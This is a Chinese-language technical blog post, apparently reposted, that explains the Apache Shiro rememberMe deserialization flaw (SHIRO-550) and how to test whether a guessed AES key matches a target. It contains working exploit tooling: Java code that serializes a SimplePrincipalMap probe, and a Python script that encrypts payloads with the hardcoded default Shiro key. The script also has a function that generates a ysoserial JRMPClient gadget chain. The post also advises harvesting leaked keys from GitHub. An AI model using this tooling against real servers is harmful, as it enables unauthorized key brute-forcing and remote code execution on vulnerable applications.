一、shiro漏洞原理
-
Shiro 1.2.4及之前的版本中,AES加密的密鑰默認(rèn)硬編碼在代碼里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代碼中的默認(rèn)密鑰,要求開發(fā)者自己設(shè)置,如果開發(fā)者沒有設(shè)置,則默認(rèn)動態(tài)生成,降低了固定密鑰泄漏的風(fēng)險。
-
升級shiro版本并不能根本解決反序列化漏洞,代碼復(fù)用會直接導(dǎo)致項(xiàng)目密鑰泄漏,從而造成反序列化漏洞。針對公開的密鑰集合,我們可以在github上搜索到并加以利用。(搜索關(guān)鍵詞:"securityManager.setRememberMeManager(rememberMeManager); Base64.decode(“或"setCipherKey(Base64.decode(”)
二、檢測shiro反序列化漏洞的key值的方法
我們?nèi)绾潍@知選擇的密鑰是否與目標(biāo)匹配呢?有一種思路是:當(dāng)密鑰不正確或類型轉(zhuǎn)換異常時,目標(biāo)Response包含Set-Cookie:rememberMe=deleteMe字段,而當(dāng)密鑰正確且沒有類型轉(zhuǎn)換異常時,返回包不存在Set-Cookie:rememberMe=deleteMe字段。
那么具體的檢測方法一般包括如下幾種:
-
第一種是利用URLDNS進(jìn)行檢測https://github.com/LuckyC4t/shiro-urldns/blob/master/src/main/java/luckycat/shirourldns/URLDNS.java
-
第二種利用命令執(zhí)行進(jìn)行檢測??通過執(zhí)行ping命令來檢測。
-
第三種使用SimplePrincipalCollection序列化后進(jìn)行檢測(XCheck,即Xray Check)通過使用SimplePrincipalCollection序列化來進(jìn)行檢測,key正確情況下不返回 deleteMe ,key錯誤情況下返回 deleteMe
1.密鑰不正確
-
Key不正確,解密時org.apache.shiro.crypto.JcaCipherService#crypt拋出異常
-
進(jìn)而走進(jìn)org.apache.shiro.web.servlet.impleCookie#removeFrom方法,在返回包中添加了rememberMe=deleteMe字段
-
于是獲得的返回包包含了Set-Cookie:rememberMe=deleteMe字段。
2.類型轉(zhuǎn)換異常
-
org.apache.shiro.mgt.AbstractRememberMeManager#deserialize進(jìn)行數(shù)據(jù)反序列化,返回結(jié)果前有對反序列化結(jié)果對象做PrincipalCollection的強(qiáng)制類型轉(zhuǎn)換。
-
可以看到類型轉(zhuǎn)換報錯,因?yàn)槲覀兊姆葱蛄谢Y(jié)果對象與PrincipalCollection并沒有繼承關(guān)系
-
反序列化異常后同樣捕捉到異常,填到報錯異常中。
-
緊接著也跳到了removeFrom中,添加響應(yīng)頭。
-
然后看響應(yīng)頭也同樣添加了rememberMe=deleteMe
3.檢測方法(XCheck,即Xray Check)
如上分析,我么只需要構(gòu)造一個類型繼承了PrincipalCollection的類,這樣在反序列化是轉(zhuǎn)換為PrincipalCollection時就不會報錯。通過實(shí)現(xiàn)關(guān)系查看,SimplePrincipalCollection和SimplePrincipalMap均符合要求。
-
那么構(gòu)造這兩個對象對象中的其中一個進(jìn)行序列化。
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.apache.shiro.subject.SimplePrincipalMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class SimplePrincipalCollectionTest {
????public static void main(String[] args) throws Exception {
????????SimplePrincipalMap simplePrincipalMap = new SimplePrincipalMap();
//????????SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
????????ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
????????oos.writeObject(simplePrincipalMap);
????????oos.close();
????}
}
-
將序列化號的文件用寫好的腳本進(jìn)行AES加密并且編碼。
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def get_file_data(filename):
????with open(filename,'rb') as f:
????????data = f.read()
????return data
def aes_enc(data):
????BS = AES.block_size
????pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
????key??=??"kPH+bIxk5D2deZiIxcaaaA=="
????mode =??AES.MODE_CBC
????iv???=??uuid.uuid4().bytes
????encryptor = AES.new(base64.b64decode(key), mode, iv)
????ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
????return ciphertext
def encode_rememberme(command):
????popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
????BS???= AES.block_size
????pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
????key??=??"kPH+bIxk5D2deZiIxcaaaA=="
????mode =??AES.MODE_CBC
????iv???=??uuid.uuid4().bytes
????encryptor = AES.new(base64.b64decode(key), mode, iv)
????file_body = pad(popen.stdout.read())
????base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
????return base64_ciphertext
if __name__ == '__main__':
????# test.bin為編譯好的序列化鏈的內(nèi)容
????data = get_file_data("test.bin")
????print(aes_enc(data))
-
將編碼好的payload通過rememberMe字段發(fā)送,如果密鑰是正確的,則相應(yīng)包中就不會存在rememberMe=deleteMe的響應(yīng)頭。文章來源:http://www.zghlxwxcb.cn/news/detail-459775.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-459775.html
到了這里,關(guān)于shiro漏洞原理以及檢測key值原理的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!